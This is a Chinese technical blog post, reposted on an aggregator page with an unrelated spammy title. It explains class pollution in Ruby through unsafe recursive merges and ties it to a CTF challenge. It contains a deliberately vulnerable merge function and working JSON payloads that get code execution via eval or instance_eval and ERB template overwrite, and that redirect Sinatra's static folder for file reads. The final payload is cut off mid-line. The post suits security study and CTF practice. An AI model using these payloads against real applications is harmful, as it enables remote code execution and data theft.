当前位置: 首页> 游戏> 攻略 > 哪个网站可以免费设计房子_佛山网站搭建公司哪家好_杭州百度快照推广_从哪里找网络推广公司

哪个网站可以免费设计房子_佛山网站搭建公司哪家好_杭州百度快照推广_从哪里找网络推广公司

时间:2025/7/13 2:13:34来源:https://blog.csdn.net/2401_83799022/article/details/145513667 浏览次数:0次
哪个网站可以免费设计房子_佛山网站搭建公司哪家好_杭州百度快照推广_从哪里找网络推广公司

和JavaScript中的原型链污染类似,Ruby中也存在类似的概念——类污染,两者都是对象进行不安全的递归合并导致的。

网上也没有相关的分析文章,只有下面这篇文章应该是第一次谈到这个问题

Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges · Doyensec's Blog

刚打完的长城杯,ezruby一题应该就是基于这篇文章的进一步利用。

Ruby类介绍

在Ruby中也是万物皆对象,下面定义一个Person类

class Person@@cnt = 1# 定义属性attr_accessor :name, :age# 初始化方法def initialize(name, age)@name = name@age = ageend# 定义方法def greet"My name is #{@name} and I am #{@age} years old."end
endperson = Person.new("Alice", 30)
puts person.greet

类变量(类似Java中类的静态变量)使用 @@前缀,实例变量使用@前缀,在类内部才用这种前缀来访问。

冒号前缀表示符号(Symbol)。Ruby中符号是轻量级的、不可变的字符串,通常用于表示标识符、方法名或键。符号的优点是它们在内存中只存储一次,因此在需要频繁比较或使用相同字符串的情况下,使用符号可以提高性能。

Ruby对象的一些特殊的方法:

  • attr_accessor:定义实例变量的getter和setter方法,用于在类外部访问实例变量
  • initialize:类的构造方法
  • to_s:toString方法
  • inspect:和to_s差不多,常用于debug
  • method_missing:类似PHP的__call__方法,当调用一个不存在的方法时会触发
  • respond_to?:检测对象是否有某个方法或属性
  • send:根据方法名来调用(包括私有方法)
  • public_send:根据方法名调用公开方法

Ruby对象的一些特殊的属性(类也算对象)

  • class:当前对象的类
  • superclass:父类
  • subclasses:子类数组
  • instance_variables:实例变量名的数组
  • class_variables:类变量名的数组

当然不止这些,具体就不展开了。

在 Ruby 中,所有类的顶层父类是 BasicObject。BasicObject 是 Ruby 类层次结构中的根类,所有其他类都直接或间接地继承自它。

class MyClass
endputs MyClass.superclass          # Output: Object
puts Object.superclass           # Output: BasicObject
puts BasicObject.superclass      # Output: nil

在实际污染中,用到的就是classsuperclasssubclasses,先从当前对象找到当前类,回溯到父类Object,锁定要污染的变量所在的类,在从父类一层层找子类。

不安全的递归合并

Doyensec的文章中给出下面的merge函数,也介绍了两个实际案例,分别是Ruby on Rails的内置组件ActiveSupport提供的`deep_merge,以及Hashie库提供的deep_merge,感兴趣可以看原文。

def recursive_merge(original, additional, current_obj = original)additional.each do |key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object = Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginal
end

recursive_merge用于递归地合并两个对象originaladditional

  1. 遍历additional对象中的每个键值对。
  2. 处理嵌套的哈希:如果值是一个哈希,它会检查 current_obj(初始为 original)是否响应该键。如果响应,则递归合并嵌套的哈希。如果不响应,则创建一个新对象,将其设置为实例变量,并为其创建访问器。
  3. 处理非哈希值:如果值不是哈希,则直接在 current_obj 上设置该值为实例变量,并为其创建访问器。

下面举个例子

污染当前对象

class Aattr_accessor :xdef initialize(x)@x = xenddef merge_with(additional)recursive_merge(self, additional)enddef checkprotected_methods().each do |method|instance_eval(method.to_s)endend
end

若能污染protected_methods,其返回值就能传入instance_eval进行代码执行。

a = A.new(1)
a.merge_with({"protected_methods": ["`calc`"]})
a.check

当然这种污染的是当前的对象的属性,不影响父类以及其他实例对象。

污染父类

class Base@@cmd = "puts 1"
endclass Cmder < Basedef merge_with(additional)recursive_merge(self, additional)enddef checkeval(Base.cmd)# eval(@@cmd)  污染失败"ok"end
end

对于这种情况,可以污染父类的cmd变量,但这里实际上是给父类Base增加了一个实例变量@cmd,从而通过Base.cmd访问时,实例变量@cmd遮盖了类变量@@cmd

c = Cmder.new
c.merge_with({"class": {"superclass": {"cmd": "`calc`"}}})
c.check
puts Base.class_variables  # @@cmd
puts Base.instance_variables  # @cmd

污染其他类

class Cmder@@cmd = "puts 1"def checkeval(Cmder.cmd)end
endclass Innocentdef merge_with(additional)recursive_merge(self, additional)end
end

能否通过Innocent污染到Cmder呢?

subclasses可以获取到Object的子类,但返回的是数组,可以利用数组的sample方法,随机返回一个元素

通过多次污染,总有几率污染到Cmder这个子类

1000.times doi = Innocent.newi.merge_with({"class": {"superclass": {"subclasses": {"sample": {"cmd": "`calc`"}}}}})
endc = Cmder.new
c.check

Doyensec的文章中提到了污染Personurl变量来进行SSRF,以及污染KeySignersigning_key变量来实现伪造签名数据。但我们追求的是通过类污染来实现RCE。

注意文章中给出的情景,使用的是Sinatra这个web框架,能否污染框架中的关键变量来实现RCE或者文件读取之类的操作呢。

类污染设置静态目录

Sinatra框架中是通过如下配置来设置静态目录的

set :public_folder, File.dirname(__FILE__) + '/static'

跟进set方法可以发现他实际就是给Sinatra::Base设置了一个属性的getter、setter

class_eval给类动态定义方法

因此可以污染public_folder这个属性来修改静态目录

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"public_folder": "E:/Server"}}}}}}

类污染写ERB模板

调试可知Sinatra::Base有个templates属性,类型是哈希,猜测他是存放模板的

Sinatra 默认模板位于./views目录,也支持通过如下语句定义模板

template :index do'%div.title Hello World!'
end

可以看到template方法实际就是给templates这个属性赋值(block是个代码块,需要返回模板内容的字符串)

有如下渲染模板的路由

get('/') doerb :hello
end

ERB (Embedded Ruby) 是 Ruby 标准库自带的,它允许在文本文件中嵌入 Ruby 代码,通常用于生成 HTML 文件,就是一个模板引擎。

可以污染templates属性,覆盖hello模板,通过ERB模板实现RCE

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= `ca
关键字:哪个网站可以免费设计房子_佛山网站搭建公司哪家好_杭州百度快照推广_从哪里找网络推广公司

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: